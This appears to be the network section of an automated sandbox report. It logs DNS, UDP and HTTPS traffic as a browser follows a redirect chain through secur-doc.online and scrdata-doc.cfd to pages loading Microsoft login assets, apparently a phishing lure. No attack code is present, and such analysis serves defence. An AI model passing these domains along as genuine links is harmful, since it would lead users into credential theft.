Apr 26, 2024 13:22:05.130050898 CEST	49788	443	192.168.2.5	142.250.64.196
Apr 26, 2024 13:22:05.130096912 CEST	443	49788	142.250.64.196	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 13:20:53.318312883 CEST	53	58527	1.1.1.1	192.168.2.5
Apr 26, 2024 13:20:53.320470095 CEST	53	54164	1.1.1.1	192.168.2.5
Apr 26, 2024 13:20:53.556050062 CEST	60387	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:20:53.556200981 CEST	58071	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:20:53.681047916 CEST	53	58071	1.1.1.1	192.168.2.5
Apr 26, 2024 13:20:53.681261063 CEST	53	60387	1.1.1.1	192.168.2.5
Apr 26, 2024 13:20:54.335159063 CEST	53	65413	1.1.1.1	192.168.2.5
Apr 26, 2024 13:20:54.447247982 CEST	58559	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:20:54.447375059 CEST	55051	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:20:54.572555065 CEST	53	58559	1.1.1.1	192.168.2.5
Apr 26, 2024 13:20:54.588213921 CEST	53	55051	1.1.1.1	192.168.2.5
Apr 26, 2024 13:20:55.740369081 CEST	60239	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:20:55.740959883 CEST	56979	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:20:55.867060900 CEST	53	56979	1.1.1.1	192.168.2.5
Apr 26, 2024 13:20:55.867176056 CEST	53	60239	1.1.1.1	192.168.2.5
Apr 26, 2024 13:20:56.467468977 CEST	63067	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:20:56.467663050 CEST	53063	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:20:56.592722893 CEST	53	53063	1.1.1.1	192.168.2.5
Apr 26, 2024 13:20:56.592768908 CEST	53	63067	1.1.1.1	192.168.2.5
Apr 26, 2024 13:20:57.328387022 CEST	50249	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:20:57.328568935 CEST	65323	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:20:57.743546963 CEST	53	65323	1.1.1.1	192.168.2.5
Apr 26, 2024 13:20:58.262913942 CEST	53	50249	1.1.1.1	192.168.2.5
Apr 26, 2024 13:21:00.622648954 CEST	54323	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:00.971859932 CEST	53	54323	1.1.1.1	192.168.2.5
Apr 26, 2024 13:21:01.376072884 CEST	58552	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:01.472179890 CEST	55877	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:01.580168009 CEST	53	58552	1.1.1.1	192.168.2.5
Apr 26, 2024 13:21:01.719455004 CEST	53	55877	1.1.1.1	192.168.2.5
Apr 26, 2024 13:21:05.147880077 CEST	61324	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:05.148139000 CEST	58622	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:05.278932095 CEST	53	61324	1.1.1.1	192.168.2.5
Apr 26, 2024 13:21:05.279185057 CEST	53	58622	1.1.1.1	192.168.2.5
Apr 26, 2024 13:21:14.305341005 CEST	53	62820	1.1.1.1	192.168.2.5
Apr 26, 2024 13:21:15.488850117 CEST	55108	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:15.488996029 CEST	58076	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:15.616806984 CEST	53	55108	1.1.1.1	192.168.2.5
Apr 26, 2024 13:21:15.617114067 CEST	53	58076	1.1.1.1	192.168.2.5
Apr 26, 2024 13:21:31.261360884 CEST	57811	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:31.261662960 CEST	50241	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:31.386105061 CEST	53	50241	1.1.1.1	192.168.2.5
Apr 26, 2024 13:21:31.386243105 CEST	53	57811	1.1.1.1	192.168.2.5
Apr 26, 2024 13:21:34.092081070 CEST	53	53525	1.1.1.1	192.168.2.5
Apr 26, 2024 13:21:34.269562960 CEST	53	63108	1.1.1.1	192.168.2.5
Apr 26, 2024 13:21:34.325439930 CEST	62080	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:34.325819016 CEST	59650	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:35.117430925 CEST	51266	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:35.117686987 CEST	56981	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:35.248306036 CEST	53	56981	1.1.1.1	192.168.2.5
Apr 26, 2024 13:21:35.249615908 CEST	53	51266	1.1.1.1	192.168.2.5
Apr 26, 2024 13:21:46.179445028 CEST	49884	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:46.179714918 CEST	49250	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:46.181680918 CEST	55844	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:46.181830883 CEST	61764	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:46.182467937 CEST	57554	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:46.182667017 CEST	50985	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:49.572987080 CEST	53	50459	1.1.1.1	192.168.2.5
Apr 26, 2024 13:21:49.832353115 CEST	60129	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:49.832612991 CEST	62234	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:50.343504906 CEST	62967	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:50.343625069 CEST	61334	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:21:52.578789949 CEST	53	56350	1.1.1.1	192.168.2.5
Apr 26, 2024 13:21:52.579154015 CEST	53	61224	1.1.1.1	192.168.2.5
Apr 26, 2024 13:21:52.742130995 CEST	53	65379	1.1.1.1	192.168.2.5
Apr 26, 2024 13:21:58.095700026 CEST	53	52279	1.1.1.1	192.168.2.5
Apr 26, 2024 13:22:05.693234921 CEST	61972	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:22:05.693588972 CEST	51376	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:22:05.695368052 CEST	65328	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:22:05.695751905 CEST	53004	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:22:05.696172953 CEST	55298	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:22:05.696485996 CEST	64599	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:22:07.969240904 CEST	65325	53	192.168.2.5	1.1.1.1
Apr 26, 2024 13:22:07.969362020 CEST	55673	53	192.168.2.5	1.1.1.1

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 26, 2024 13:20:55.867163897 CEST	192.168.2.5	1.1.1.1	c23b	(Port unreachable)	Destination Unreachable
Apr 26, 2024 13:21:00.971949100 CEST	192.168.2.5	1.1.1.1	c203	(Port unreachable)	Destination Unreachable
Apr 26, 2024 13:21:01.719536066 CEST	192.168.2.5	1.1.1.1	c224	(Port unreachable)	Destination Unreachable
Apr 26, 2024 13:21:50.061346054 CEST	192.168.2.5	1.1.1.1	c275	(Port unreachable)	Destination Unreachable
Apr 26, 2024 13:22:05.943093061 CEST	192.168.2.5	1.1.1.1	c2a2	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 26, 2024 13:20:53.556050062 CEST	192.168.2.5	1.1.1.1	0xdc2a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:20:53.556200981 CEST	192.168.2.5	1.1.1.1	0x1259	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 26, 2024 13:20:54.447247982 CEST	192.168.2.5	1.1.1.1	0x8c04	Standard query (0)	click.pstmrk.it	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:20:54.447375059 CEST	192.168.2.5	1.1.1.1	0xe6a5	Standard query (0)	click.pstmrk.it	65	IN (0x0001)	false
Apr 26, 2024 13:20:55.740369081 CEST	192.168.2.5	1.1.1.1	0xcf71	Standard query (0)	click.pstmrk.it	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:20:55.740959883 CEST	192.168.2.5	1.1.1.1	0x200f	Standard query (0)	click.pstmrk.it	65	IN (0x0001)	false
Apr 26, 2024 13:20:56.467468977 CEST	192.168.2.5	1.1.1.1	0x9809	Standard query (0)	t.co	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:20:56.467663050 CEST	192.168.2.5	1.1.1.1	0xd9dd	Standard query (0)	t.co	65	IN (0x0001)	false
Apr 26, 2024 13:20:57.328387022 CEST	192.168.2.5	1.1.1.1	0xb107	Standard query (0)	wordpressprofissional.com.br	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:20:57.328568935 CEST	192.168.2.5	1.1.1.1	0xbc0	Standard query (0)	wordpressprofissional.com.br	65	IN (0x0001)	false
Apr 26, 2024 13:21:00.622648954 CEST	192.168.2.5	1.1.1.1	0xd79f	Standard query (0)	wordpressprofissional.com.br	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:01.376072884 CEST	192.168.2.5	1.1.1.1	0x19d0	Standard query (0)	secur-doc.online	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:01.472179890 CEST	192.168.2.5	1.1.1.1	0x9349	Standard query (0)	secur-doc.online	65	IN (0x0001)	false
Apr 26, 2024 13:21:05.147880077 CEST	192.168.2.5	1.1.1.1	0x3ec0	Standard query (0)	r6duftx9uh6.scrdata-doc.cfd	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:05.148139000 CEST	192.168.2.5	1.1.1.1	0x12f1	Standard query (0)	r6duftx9uh6.scrdata-doc.cfd	65	IN (0x0001)	false
Apr 26, 2024 13:21:15.488850117 CEST	192.168.2.5	1.1.1.1	0x6779	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:15.488996029 CEST	192.168.2.5	1.1.1.1	0x9d95	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Apr 26, 2024 13:21:31.261360884 CEST	192.168.2.5	1.1.1.1	0x3f18	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:31.261662960 CEST	192.168.2.5	1.1.1.1	0xb6d1	Standard query (0)	outlook.office365.com	65	IN (0x0001)	false
Apr 26, 2024 13:21:34.325439930 CEST	192.168.2.5	1.1.1.1	0x6cc4	Standard query (0)	r4.res.office365.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:34.325819016 CEST	192.168.2.5	1.1.1.1	0x8ccf	Standard query (0)	r4.res.office365.com	65	IN (0x0001)	false
Apr 26, 2024 13:21:35.117430925 CEST	192.168.2.5	1.1.1.1	0xdeda	Standard query (0)	r6duftx9uh6.scrdata-doc.cfd	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:35.117686987 CEST	192.168.2.5	1.1.1.1	0xbbb3	Standard query (0)	r6duftx9uh6.scrdata-doc.cfd	65	IN (0x0001)	false
Apr 26, 2024 13:21:46.179445028 CEST	192.168.2.5	1.1.1.1	0x5741	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:46.179714918 CEST	192.168.2.5	1.1.1.1	0x698d	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Apr 26, 2024 13:21:46.181680918 CEST	192.168.2.5	1.1.1.1	0x54b9	Standard query (0)	c.s-microsoft.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:46.181830883 CEST	192.168.2.5	1.1.1.1	0xc72b	Standard query (0)	c.s-microsoft.com	65	IN (0x0001)	false
Apr 26, 2024 13:21:46.182467937 CEST	192.168.2.5	1.1.1.1	0xf089	Standard query (0)	assets.onestore.ms	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:46.182667017 CEST	192.168.2.5	1.1.1.1	0xa73d	Standard query (0)	assets.onestore.ms	65	IN (0x0001)	false
Apr 26, 2024 13:21:49.832353115 CEST	192.168.2.5	1.1.1.1	0x6d16	Standard query (0)	i.s-microsoft.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:49.832612991 CEST	192.168.2.5	1.1.1.1	0xe9eb	Standard query (0)	i.s-microsoft.com	65	IN (0x0001)	false
Apr 26, 2024 13:21:50.343504906 CEST	192.168.2.5	1.1.1.1	0xa70b	Standard query (0)	c.s-microsoft.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:50.343625069 CEST	192.168.2.5	1.1.1.1	0x1d9f	Standard query (0)	c.s-microsoft.com	65	IN (0x0001)	false
Apr 26, 2024 13:22:05.693234921 CEST	192.168.2.5	1.1.1.1	0x7361	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:22:05.693588972 CEST	192.168.2.5	1.1.1.1	0x973b	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Apr 26, 2024 13:22:05.695368052 CEST	192.168.2.5	1.1.1.1	0x92ce	Standard query (0)	c.s-microsoft.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:22:05.695751905 CEST	192.168.2.5	1.1.1.1	0x1a19	Standard query (0)	c.s-microsoft.com	65	IN (0x0001)	false
Apr 26, 2024 13:22:05.696172953 CEST	192.168.2.5	1.1.1.1	0x61bf	Standard query (0)	assets.onestore.ms	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:22:05.696485996 CEST	192.168.2.5	1.1.1.1	0xec0e	Standard query (0)	assets.onestore.ms	65	IN (0x0001)	false
Apr 26, 2024 13:22:07.969240904 CEST	192.168.2.5	1.1.1.1	0x117a	Standard query (0)	i.s-microsoft.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:22:07.969362020 CEST	192.168.2.5	1.1.1.1	0x2078	Standard query (0)	i.s-microsoft.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 26, 2024 13:20:53.681047916 CEST	1.1.1.1	192.168.2.5	0x1259	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 26, 2024 13:20:53.681261063 CEST	1.1.1.1	192.168.2.5	0xdc2a	No error (0)	www.google.com		142.250.64.196	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:20:54.572555065 CEST	1.1.1.1	192.168.2.5	0x8c04	No error (0)	click.pstmrk.it		3.136.74.202	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:20:54.572555065 CEST	1.1.1.1	192.168.2.5	0x8c04	No error (0)	click.pstmrk.it		3.22.3.46	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:20:54.572555065 CEST	1.1.1.1	192.168.2.5	0x8c04	No error (0)	click.pstmrk.it		3.133.210.250	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:20:55.867176056 CEST	1.1.1.1	192.168.2.5	0xcf71	No error (0)	click.pstmrk.it		3.22.3.46	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:20:55.867176056 CEST	1.1.1.1	192.168.2.5	0xcf71	No error (0)	click.pstmrk.it		3.133.210.250	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:20:55.867176056 CEST	1.1.1.1	192.168.2.5	0xcf71	No error (0)	click.pstmrk.it		3.136.74.202	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:20:56.592768908 CEST	1.1.1.1	192.168.2.5	0x9809	No error (0)	t.co		104.244.42.197	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:20:58.262913942 CEST	1.1.1.1	192.168.2.5	0xb107	No error (0)	wordpressprofissional.com.br		31.170.163.25	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:00.971859932 CEST	1.1.1.1	192.168.2.5	0xd79f	No error (0)	wordpressprofissional.com.br		31.170.163.25	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:01.580168009 CEST	1.1.1.1	192.168.2.5	0x19d0	No error (0)	secur-doc.online		2.58.15.240	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:05.278932095 CEST	1.1.1.1	192.168.2.5	0x3ec0	No error (0)	r6duftx9uh6.scrdata-doc.cfd		2.58.15.240	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:06.440395117 CEST	1.1.1.1	192.168.2.5	0x8b38	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:06.440395117 CEST	1.1.1.1	192.168.2.5	0x8b38	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:15.610675097 CEST	1.1.1.1	192.168.2.5	0xf5fe	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:15.610675097 CEST	1.1.1.1	192.168.2.5	0xf5fe	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:15.610675097 CEST	1.1.1.1	192.168.2.5	0xf5fe	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:15.616806984 CEST	1.1.1.1	192.168.2.5	0x6779	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:15.616806984 CEST	1.1.1.1	192.168.2.5	0x6779	No error (0)	cs1100.wpc.omegacdn.net		152.199.4.44	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:15.617114067 CEST	1.1.1.1	192.168.2.5	0x9d95	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:20.759957075 CEST	1.1.1.1	192.168.2.5	0xf73f	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:20.759957075 CEST	1.1.1.1	192.168.2.5	0xf73f	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:31.386105061 CEST	1.1.1.1	192.168.2.5	0xb6d1	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:31.386105061 CEST	1.1.1.1	192.168.2.5	0xb6d1	No error (0)	ooc-g2.tm-4.office.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:31.386105061 CEST	1.1.1.1	192.168.2.5	0xb6d1	No error (0)	outlook.ms-acdc.office.com	LYH-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:31.386243105 CEST	1.1.1.1	192.168.2.5	0x3f18	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:31.386243105 CEST	1.1.1.1	192.168.2.5	0x3f18	No error (0)	ooc-g2.tm-4.office.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:31.386243105 CEST	1.1.1.1	192.168.2.5	0x3f18	No error (0)	outlook.ms-acdc.office.com	LYH-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:31.386243105 CEST	1.1.1.1	192.168.2.5	0x3f18	No error (0)	LYH-efz.ms-acdc.office.com		52.96.28.178	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:31.386243105 CEST	1.1.1.1	192.168.2.5	0x3f18	No error (0)	LYH-efz.ms-acdc.office.com		52.96.184.50	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:31.386243105 CEST	1.1.1.1	192.168.2.5	0x3f18	No error (0)	LYH-efz.ms-acdc.office.com		52.96.173.162	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:31.386243105 CEST	1.1.1.1	192.168.2.5	0x3f18	No error (0)	LYH-efz.ms-acdc.office.com		52.96.186.162	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:34.450582027 CEST	1.1.1.1	192.168.2.5	0x6cc4	No error (0)	r4.res.office365.com	r4.res.office365.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:34.451035023 CEST	1.1.1.1	192.168.2.5	0x8ccf	No error (0)	r4.res.office365.com	r4.res.office365.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:35.249615908 CEST	1.1.1.1	192.168.2.5	0xdeda	No error (0)	r6duftx9uh6.scrdata-doc.cfd		2.58.15.240	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:21:46.316587925 CEST	1.1.1.1	192.168.2.5	0x5741	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:46.318218946 CEST	1.1.1.1	192.168.2.5	0x698d	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:46.319533110 CEST	1.1.1.1	192.168.2.5	0xc72b	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:46.320116043 CEST	1.1.1.1	192.168.2.5	0x54b9	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:46.320373058 CEST	1.1.1.1	192.168.2.5	0xf089	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:46.320681095 CEST	1.1.1.1	192.168.2.5	0xa73d	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:49.959739923 CEST	1.1.1.1	192.168.2.5	0x6d16	No error (0)	i.s-microsoft.com	i.s-microsoft.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:50.061284065 CEST	1.1.1.1	192.168.2.5	0xe9eb	No error (0)	i.s-microsoft.com	i.s-microsoft.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:50.469254017 CEST	1.1.1.1	192.168.2.5	0x1d9f	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:50.471565008 CEST	1.1.1.1	192.168.2.5	0xa70b	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:50.806539059 CEST	1.1.1.1	192.168.2.5	0x4be8	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:21:50.806539059 CEST	1.1.1.1	192.168.2.5	0x4be8	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 26, 2024 13:22:05.817984104 CEST	1.1.1.1	192.168.2.5	0x7361	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:22:05.818762064 CEST	1.1.1.1	192.168.2.5	0x973b	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:22:05.821171045 CEST	1.1.1.1	192.168.2.5	0x92ce	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:22:05.821187973 CEST	1.1.1.1	192.168.2.5	0x1a19	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:22:05.822731972 CEST	1.1.1.1	192.168.2.5	0x61bf	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:22:05.940855980 CEST	1.1.1.1	192.168.2.5	0xec0e	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:22:08.096379042 CEST	1.1.1.1	192.168.2.5	0x2078	No error (0)	i.s-microsoft.com	i.s-microsoft.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 13:22:08.096509933 CEST	1.1.1.1	192.168.2.5	0x117a	No error (0)	i.s-microsoft.com	i.s-microsoft.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

click.pstmrk.it

t.co

https:

wordpressprofissional.com.br

secur-doc.online

r6duftx9uh6.scrdata-doc.cfd

outlook.office365.com

fs.microsoft.com

slscr.update.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49711	3.136.74.202	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:20:56 UTC	743	OUT	GET /3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz HTTP/1.1 Host: click.pstmrk.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 11:20:56 UTC	192	IN	HTTP/1.1 302 Found Server: awselb/2.0 Date: Fri, 26 Apr 2024 11:20:56 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close Location: https://t.co/RieqFTtqmt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49714	104.244.42.197	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:20:56 UTC	657	OUT	GET /RieqFTtqmt HTTP/1.1 Host: t.co Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 11:20:57 UTC	766	IN	HTTP/1.1 200 OK date: Fri, 26 Apr 2024 11:20:56 GMT perf: 7402827104 vary: Origin server: tsa_b expires: Fri, 26 Apr 2024 11:25:57 GMT set-cookie: muc=201fda1f-d085-4c44-8d8b-2e51b187e402; Max-Age=63072000; Expires=Sun, 26 Apr 2026 11:20:57 GMT; Domain=t.co; Secure; SameSite=None set-cookie: muc_ads=201fda1f-d085-4c44-8d8b-2e51b187e402; Max-Age=63072000; Expires=Sun, 26 Apr 2026 11:20:57 GMT; Path=/; Domain=t.co; Secure; SameSite=None content-type: text/html; charset=utf-8 cache-control: private,max-age=300 content-length: 364 x-transaction-id: e016b0cd61a541b5 x-xss-protection: 0 strict-transport-security: max-age=0 x-response-time: 96 x-connection-hash: dec6d77a392fbf1ae5738195456a77539f92b6db28e0344ac50b8a3442c2119e connection: close
